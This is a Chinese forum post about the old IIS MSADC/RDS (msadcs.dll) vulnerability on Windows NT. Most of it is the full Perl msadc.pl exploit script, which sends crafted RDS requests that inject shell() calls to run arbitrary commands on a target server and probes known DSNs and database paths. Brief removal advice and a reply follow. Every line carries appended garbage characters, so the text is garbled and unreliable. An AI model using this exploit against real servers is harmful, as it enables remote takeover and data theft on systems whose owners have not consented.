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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) - y AQ  
s)J(/  
涉及程序: #qBr/+b  
Microsoft NT server nY%5cJ`"  
p#P~Q/;  
描述: |N/G'>TS  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 BUZ _)  
H^%lDz  
详细: L1{GL #qV  
如果你没有时间读详细内容的话,就删除: 5z}w}zdg  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 23F/\2MSG  
有关的安全问题就没有了。 u.XQ&  
`:NaEF?Sj  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 <O<LYN+(  
=+:{P?*}  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 NpP')m!`}  
关于利用ODBC远程漏洞的描述,请参看: -Z-f1.Dm5  
)u%je~Vw  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ~&dyRt W4  
feM6K!fL`  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ZP\M9Ja  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp bm~W EX  
C4$:mJ>y  
这里不再论述。 Sl2iz?   
-fI`3#  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 7cDU2l  
{7hLsK[])  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset sic"pn],U  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! OR1DYHHT/1  
y&~w2{a  
4R^mI  
#将下面这段保存为txt文件,然后: "perl -x 文件名" :ue:QSt(u  
*|.0Myjo  
#!perl `4?~nbz  
# =W bOwI)u  
# MSADC/RDS 'usage' (aka exploit) script Bq\F?zk<  
# g#]" hn  
# by rain.forest.puppy Jzji&A~  
# f"[J "j8  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me *D}0 [|O  
# beta test and find errors! f5*k7fg  
4S"\~><  
use Socket; use Getopt::Std; \W5O&G-C  
getopts("e:vd:h:XR", \%args); JCx WWre  
+j_ ;(Gw7  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; |y;}zQB-dH  
)> ,wj  
if (!defined $args{h} && !defined $args{R}) { d_UN0YT<  
print qq~ B(a-k?  
Usage: msadc.pl -h <host> { -d <delay> -X -v } v4,h&JLt  
-h <host> = host you want to scan (ip or domain) ?lGG|9J\  
-d <seconds> = delay between calls, default 1 second F_iXd/  
-X = dump Index Server path table, if available b \KL;H/  
-v = verbose GE;e]Jkjn  
-e = external dictionary file for step 5 rEhX/(n#  
Xazo 9J  
Or a -R will resume a command session ok^d@zI  
=uk0@hy9b  
~; exit;} NL=|z=q  
)~4II.`%^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Mv 544>:  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} EC2+`HJ"  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} EKEjv|_)  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); $EZN1\  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} _ nA p6i  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } k(>h^  
@bM2{Rh:  
if (!defined $args{R}){ $ret = &has_msadc; &X@Bs-  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} sIG7S"k>p  
Y?CCD4"qn  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" b5$Jf jI  
. "cmd /c "; [yl sz?  
$in=<STDIN>; chomp $in; S:4crI  
$command="cmd /c " . $in ; WG*t ::NN  
>^q7c8]~g  
if (defined $args{R}) {&load; exit;} XZ&KR .C,  
+d+@u)6  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; w\54j)rb  
&try_btcustmr; P./V6i<:  
S= R7`a<.5  
print "\nStep 2: Trying to make our own DSN..."; (Fq5IGs  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; O ,rwP  
+a&p$\  
print "\nStep 3: Trying known DSNs..."; /kL $4CA  
&known_dsn; 5$DHn ]  
q"O.Cbk  
print "\nStep 4: Trying known .mdbs..."; |b-9b&  
&known_mdb; `p;eIt  
M;cO0UIwO  
if (defined $args{e}){ 0&qr  
print "\nStep 5: Trying dictionary of DSN names..."; GoA4f3  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 3G.5724,  
Qy<[7  
print "Sorry Charley...maybe next time?\n"; gmIqT f  
exit; /27JevE  
2LrJ>Mi  
############################################################################## ~$' \L  
Fc~'TBf,,`  
sub sendraw { # ripped and modded from whisker `U+l?S^$  
sleep($delay); # it's a DoS on the server! At least on mine... [A}rbD K  
my ($pstr)=@_; Q-ni|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 4h5g'!9-g  
die("Socket problems\n"); b'VV'+|  
if(connect(S,pack "SnA4x8",2,80,$target)){ {o5V7*P;_  
select(S); $|=1; o,U9}_|A  
print $pstr; my @in=<S>; o7mZzzP  
select(STDOUT); close(S); X;<BzA!H  
return @in; ,Y 3W?  
} else { die("Can't connect...\n"); }} +!QJTn"3  
$0bjKy  
############################################################################## 6KD `oUx  
<%xS{!'}  
sub make_header { # make the HTTP request kb[P\cRa  
my $msadc=<<EOT iA8U Yd3Q  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 0sI1GhVR  
User-Agent: ACTIVEDATA y=In?QN{6*  
Host: $ip QO"oEgB`+Z  
Content-Length: $clen da1]mb=4 5  
Connection: Keep-Alive GN KF&M  
uB!kM  
ADCClientVersion:01.06 2H.654  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 j p $Z]  
763+uFx^  
--!ADM!ROX!YOUR!WORLD! GUF"<k  
Content-Type: application/x-varg K3\#E/Ox  
Content-Length: $reqlen gp$Ucfu'  
2o>)7^9|#<  
EOT 83;NIE;  
; $msadc=~s/\n/\r\n/g; }FzqW*4~  
return $msadc;} PW3GL3+  
ypJ".  
############################################################################## p>_;^&>&  
Vy_2.  
sub make_req { # make the RDS request JG9`h#  
my ($switch, $p1, $p2)=@_; VmzbZTup  
my $req=""; my $t1, $t2, $query, $dsn; 5{n*"88  
5K|"\  
if ($switch==1){ # this is the btcustmr.mdb query 2e$w?W0^  
$query="Select * from Customers where City=" . make_shell(); P"<U6zM\sP  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Ou{v/'9z,  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ##Z_QB(;  
b;)~wU=  
elsif ($switch==2){ # this is general make table query %0? M?Jf  
$query="create table AZZ (B int, C varchar(10))"; e</$ s  
$dsn="$p1";} ,gL9?Wz  
1? FrJ6 V  
elsif ($switch==3){ # this is general exploit table query s7oT G!  
$query="select * from AZZ where C=" . make_shell(); *^([ ~[  
$dsn="$p1";} +7t6k7]c  
"5eNLqt^q  
elsif ($switch==4){ # attempt to hork file info from index server Q}S_%I}u:  
$query="select path from scope()"; }(egMx;"3J  
$dsn="Provider=MSIDXS;";} {O|'U'  
{EdH$l>94  
elsif ($switch==5){ # bad query 0rGSH*(  
$query="select"; ' B  
$dsn="$p1";} ICAH G7,  
Me6+~"am/  
$t1= make_unicode($query); lN9=TxH1(;  
$t2= make_unicode($dsn); c)@>zto#  
$req = "\x02\x00\x03\x00"; c5|:,wkx  
$req.= "\x08\x00" . pack ("S1", length($t1)); 0\2\*I}?  
$req.= "\x00\x00" . $t1 ; K \vSB~{ [  
$req.= "\x08\x00" . pack ("S1", length($t2)); ['%69dPh  
$req.= "\x00\x00" . $t2 ; xoOJauSX1  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; - Ij&  
return $req;} rHP%0f 9:  
&-5_f* {  
############################################################################## _-5,zP R  
tgjr&G}a@0  
sub make_shell { # this makes the shell() statement _z[#}d;k  
return "'|shell(\"$command\")|'";} P ~PIMkt  
o[H{(f 1%  
############################################################################## :SxW.?[%u  
;/j= Ny{9  
sub make_unicode { # quick little function to convert to unicode [!%![E  
my ($in)=@_; my $out; `b c;]@"  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Fq9Q+RNMZL  
return $out;} zD3mX<sw  
9<K j6t_  
############################################################################## +:3*  
}8;[O 9  
sub rdo_success { # checks for RDO return success (this is kludge) V'w@rc\XN  
my (@in) = @_; my $base=content_start(@in); w&xDOyW]  
if($in[$base]=~/multipart\/mixed/){ O$IjN x  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} m^x6>9,  
return 0;} au,t%8AC  
N41R  
############################################################################## <L&m4O#|  
y<b{Ji e  
sub make_dsn { # this makes a DSN for us sl2@umR7%(  
my @drives=("c","d","e","f"); p">EHWc}D  
print "\nMaking DSN: "; w1UA?+43  
foreach $drive (@drives) { >AJSqgHQ,  
print "$drive: "; S~]mWxgZ  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . G|\^{ 5   
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" -R{V-   
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); y1=N F  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; b,KcBQ.  
return 0 if $2 eq "404"; # not found/doesn't exist * !^<m0  
if($2 eq "200") { X*,Kb(3   
foreach $line (@results) { =!m}xdTP  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} -gQCn>"  
} return 0;} $cu00K  
Zs<KZGn-B  
############################################################################## 0zY(:;X  
w>b-} t  
sub verify_exists { JJRK7\~$  
my ($page)=@_; #lU9yv  
my @results=sendraw("GET $page HTTP/1.0\n\n"); }-~T<egF  
return $results[0];} LL$_zK{  
Ged[#Q  
############################################################################## R-^96fFBy  
r\;ut4wy  
sub try_btcustmr { YIR R=qpn  
my @drives=("c","d","e","f"); sl*5Y#,|1  
my @dirs=("winnt","winnt35","winnt351","win","windows"); O0>A+o[1F  
xAggn  
foreach $dir (@dirs) { @]bPVG?d  
print "$dir -> "; # fun status so you can see progress 67y Tvr@a  
foreach $drive (@drives) { US  
print "$drive: "; # ditto hQNe;R5  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ;l}- Z@! /  
$reqlenlen=length( "$reqlen" ); F7")]q3I~  
$clen= 206 + $reqlenlen + $reqlen; ; O<9|?  
pStk/te,XK  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ]\ngX;h8G  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} (LHp%LaZ\;  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} e$Y[Z{T5  
GA`PY-Vs)  
############################################################################## e *j.  
ZtHm\VTS  
sub odbc_error { lD{Aa!\  
my (@in)=@_; my $base; 1wW)tNKIF  
my $base = content_start(@in); /k"`7`!  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this  &QNWL]  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l1]p'Liuu  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  s}onsC  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `<[6YH_  
return $in[$base+4].$in[$base+5].$in[$base+6];} ttXjn  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; L,; D@Xi  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . N N|u_  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} yPw'] "  
Tlj:%yK2  
############################################################################## fm~kM J  
7RDDdF E!  
sub verbose { eiJ2NwR\w  
my ($in)=@_; wM_c48|d  
return if !$verbose; <5=JE*s$NS  
print STDOUT "\n$in\n";} <)*2LBF@]  
*-s,. F+c  
############################################################################## OiDhJ  
8>/Q1(q0  
sub save { #P#-xz  
my ($p1, $p2, $p3, $p4)=@_; b|z g<  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Z!0]/mCE8  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; lcV<MDS  
close OUT;} ET];%~ ^  
&uUo3qXQ5l  
############################################################################## w:' dhr':  
Ap{}^  
sub load { G|8%qd  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; .WQ<jZt>  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ,<DB&&EV8  
@p=<IN>; close(IN); (z$r:p  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ~ d^<_R  
$target= inet_aton($ip) || die("inet_aton problems"); ;6 +}z~  
print "Resuming to $ip ..."; .Wi{lt  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; a^5^gId5l!  
if($p[1]==1) { A[WV'!A,  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; |#l=  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Z>)][pL  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); G;3~2^lB\  
if (rdo_success(@results)){print "Success!\n";} zY+Fl~$S  
else { print "failed\n"; verbose(odbc_error(@results));}} >+5?F*`\D*  
elsif ($p[1]==3){ {K#NB_*To  
if(run_query("$p[3]")){ ~el3I=KC}  
print "Success!\n";} else { print "failed\n"; }} P'MY[&|mM'  
elsif ($p[1]==4){ }bU8G '  
if(run_query($drvst . "$p[3]")){ /MQU >&  
print "Success!\n"; } else { print "failed\n"; }} VDB;%U*D  
exit;} oPc\<$  
4(l?uU$  
##############################################################################  htY=w}>  
C6_@\&OA  
sub create_table { Mz I q"3  
my ($in)=@_; D\ /xu-&  
$reqlen=length( make_req(2,$in,"") ) - 28; NrDi   
$reqlenlen=length( "$reqlen" ); @5) 8L/[l  
$clen= 206 + $reqlenlen + $reqlen; xyr+_k-x&q  
my @results=sendraw(make_header() . make_req(2,$in,"")); J/);"bg_O  
return 1 if rdo_success(@results); $N2SfyX7  
my $temp= odbc_error(@results); verbose($temp); hC_Vts[v/  
return 1 if $temp=~/Table 'AZZ' already exists/; ,%bhyww<  
return 0;} U=sh[W  
i~J;G#b  
############################################################################## YGc^h(d  
^% Q|s#w.  
sub known_dsn { B~'MBBD"  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 0:KE@=  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", e$c?}3E!z  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", (SVWdgb  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); -oz`"&%  
^BZkHAp  
foreach $dSn (@dsns) { 9]$8MY   
print "."; ,D6v4<jh  
next if (!is_access("DSN=$dSn")); m\ /(w_/?  
if(create_table("DSN=$dSn")){ R6 XuA(5  
print "$dSn successful\n"; =rPrPb  
if(run_query("DSN=$dSn")){ Kt>X3m,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { @&1Wy p  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 9@ $,oM=  
^0W(hA  
############################################################################## 52zGJ I*  
zm9TvoC%}  
sub is_access { CBf7]n0H  
my ($in)=@_; CLKov\U\  
$reqlen=length( make_req(5,$in,"") ) - 28; CGw--`#\  
$reqlenlen=length( "$reqlen" ); &@"]+33  
$clen= 206 + $reqlenlen + $reqlen; ?B.~ AUN  
my @results=sendraw(make_header() . make_req(5,$in,"")); nA>sHy  
my $temp= odbc_error(@results); 2W M\e lnA  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); u!N{y,7W)  
return 0;} h06ku2Q  
I>h<b_y  
############################################################################## y?[snrK G  
nD" ~?*Lt  
sub run_query { V@=V5bZLs  
my ($in)=@_; %,b X/!  
$reqlen=length( make_req(3,$in,"") ) - 28; &Y@#g9G  
$reqlenlen=length( "$reqlen" ); 3HyhEVR-#~  
$clen= 206 + $reqlenlen + $reqlen; YEjY8]t  
my @results=sendraw(make_header() . make_req(3,$in,"")); 5=?i;P  
return 1 if rdo_success(@results); AV&yoag1  
my $temp= odbc_error(@results); verbose($temp); jn9 ShF  
return 0;} A CNfS9M_w  
h$C@j~  
############################################################################## Jeqxspn T  
O}Ui`eWU  
sub known_mdb { [_y@M ]  
my @drives=("c","d","e","f","g"); `29TY&p+"  
my @dirs=("winnt","winnt35","winnt351","win","windows"); '!v c/Hw  
my $dir, $drive, $mdb; Ccfwax+  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~!%0Z9>ap  
iZ[tHw||  
# this is sparse, because I don't know of many Q"a2.9Eo  
my @sysmdbs=( "\\catroot\\icatalog.mdb", |c-LSs'\  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Oi:JiD=  
"\\system32\\certmdb.mdb", cTZ)"^z!  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% b'>8ZIY  
;i#LIHJ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", \9)[ #Ld  
"\\cfusion\\cfapps\\forums\\forums_.mdb", <2  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", p}]q d4j  
"\\cfusion\\cfapps\\security\\realm_.mdb", MBk"KF  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", #`GbHxd  
"\\cfusion\\database\\cfexamples.mdb", }wt%1v-10U  
"\\cfusion\\database\\cfsnippets.mdb", aj|5 #  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", o}8{Bh^  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ^o<:;{  
"\\cfusion\\brighttiger\\database\\cleam.mdb", a ib}`l  
"\\cfusion\\database\\smpolicy.mdb", ^[h2%c$  
"\\cfusion\\database\cypress.mdb", 2xmk,&s  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", HOYq?40.R  
"\\website\\cgi-win\\dbsample.mdb", 5!fSW2N  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", #G _/.h@  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" O{KB0"s>i  
); #these are just D#sf i,O  
foreach $drive (@drives) { ].DY"  
foreach $dir (@dirs){ '\p;y7N  
foreach $mdb (@sysmdbs) { 4".J/I5u  
print "."; s*,cF6  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ sz09+4h#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; RJ J1  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Ph7pd  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ]H2R  
} else { print "Something's borked. Use verbose next time\n"; }}}}} =xEk7'W6k  
cV$lobqO  
foreach $drive (@drives) { L@|#Bbmx  
foreach $mdb (@mdbs) { y{rn-?`{  
print "."; C@dGWAG  
if(create_table($drv . $drive . $dir . $mdb)){ F%6*Df;cSe  
print "\n" . $drive . $dir . $mdb . " successful\n"; #0MK(Ut/  
if(run_query($drv . $drive . $dir . $mdb)){ `6 Y33bQ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; l[n@/%2  
} else { print "Something's borked. Use verbose next time\n"; }}}} ^JhFI*  
} e&J3N  
9$tl00  
############################################################################## N2~$r pU3  
cIw eBDl  
sub hork_idx { | 1V2tx  
print "\nAttempting to dump Index Server tables...\n"; X7cWgo66T  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; *8!w&ME+.  
$reqlen=length( make_req(4,"","") ) - 28; A|vP$zy  
$reqlenlen=length( "$reqlen" ); _%IqjJO{=r  
$clen= 206 + $reqlenlen + $reqlen; ;e;\q;GP  
my @results=sendraw2(make_header() . make_req(4,"","")); >_Uj?F:  
if (rdo_success(@results)){ k8&FDz  
my $max=@results; my $c; my %d; Fe= "EDh  
for($c=19; $c<$max; $c++){ z}5<$K_U  
$results[$c]=~s/\x00//g; IhW7^(p\  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; \y*j4 0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; vj3isI4lU  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; *C_[jk@6  
$d{"$1$2"}="";} 1)U} i ^  
foreach $c (keys %d){ print "$c\n"; } &telCg:  
} else {print "Index server doesn't seem to be installed.\n"; }} _om[VKJd  
w??c1)  
############################################################################## ,+-?Zv 2  
xURw,  
sub dsn_dict { fNxw&ke8&  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); yisLypM*  
while(<IN>){ w`#fH  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; nYov>x]  
next if (!is_access("DSN=$dSn")); aF])"9  
if(create_table("DSN=$dSn")){ 6GOg_P  
print "$dSn successful\n"; $r"A@69^RS  
if(run_query("DSN=$dSn")){ ]18Ucf  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Iq,v  
print "Something's borked. Use verbose next time\n";}}} b?k4InXh  
print "\n"; close(IN);} a%n'%*0  
PPgW ^gj  
############################################################################## px [~=$F  
)VY10 R)$  
sub sendraw2 { # ripped and modded from whisker 5+y`P$K@  
sleep($delay); # it's a DoS on the server! At least on mine... "A7<XN<  
my ($pstr)=@_; 0ny{)Sd6um  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || VCf|`V~G  
die("Socket problems\n"); 0#`)Prop6  
if(connect(S,pack "SnA4x8",2,80,$target)){ YKq0f=Ij  
print "Connected. Getting data"; L1MrrC  
open(OUT,">raw.out"); my @in; lM&UFEl-\  
select(S); $|=1; print $pstr; "UpOY  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ,eK2I Ao  
close(OUT); select(STDOUT); close(S); return @in; IozNjII$:.  
} else { die("Can't connect...\n"); }} 6H6Law!)  
^f0(aYWx  
############################################################################## 86{ZFtv  
~>w:;M=sV8  
sub content_start { # this will take in the server headers BK*UR+,  
my (@in)=@_; my $c; -$ali[  
for ($c=1;$c<500;$c++) { ! OfO:L7-  
if($in[$c] =~/^\x0d\x0a/){ paYz[Xq  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ^?sSx!:bZ  
else { return $c+1; }}} V g6S/-  
return -1;} # it should never get here actually !=knppY  
@SQceQfB  
############################################################################## R_9 o!s TZ  
=SL^>HS.fo  
sub funky { S| "TP\o  
my (@in)=@_; my $error=odbc_error(@in); PHl4 vh#E!  
if($error=~/ADO could not find the specified provider/){ uH] m]t  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; XC}1_VWs  
exit;} Cn/q=  
if($error=~/A Handler is required/){ 7yUvL8p-  
print "\nServer has custom handler filters (they most likely are patched)\n"; x Zg7Jg  
exit;}  0/*X=5  
if($error=~/specified Handler has denied Access/){ } Ab _o#Zy  
print "\nServer has custom handler filters (they most likely are patched)\n"; 'F<Sf:?.p  
exit;}} lR[z<2w\  
Q6|@N~UeZ  
############################################################################## @aUZ#,(<  
'y eh7oR  
sub has_msadc { aLHrl6"  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); bx]1 4}6  
my $base=content_start(@results); \aB&{`iG  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); G "c/a8  
return 0;} R{ 4u|A?9  
T#/11M$uQ  
######################## AD,@,|A  
5Ny0b|+p  
6<+8}`@B>G  
解决方案: X; 5S  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll vS2(Q0+TZi  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 .GtINhz*  
8db6(Q~P  
拿出来充数 哈哈
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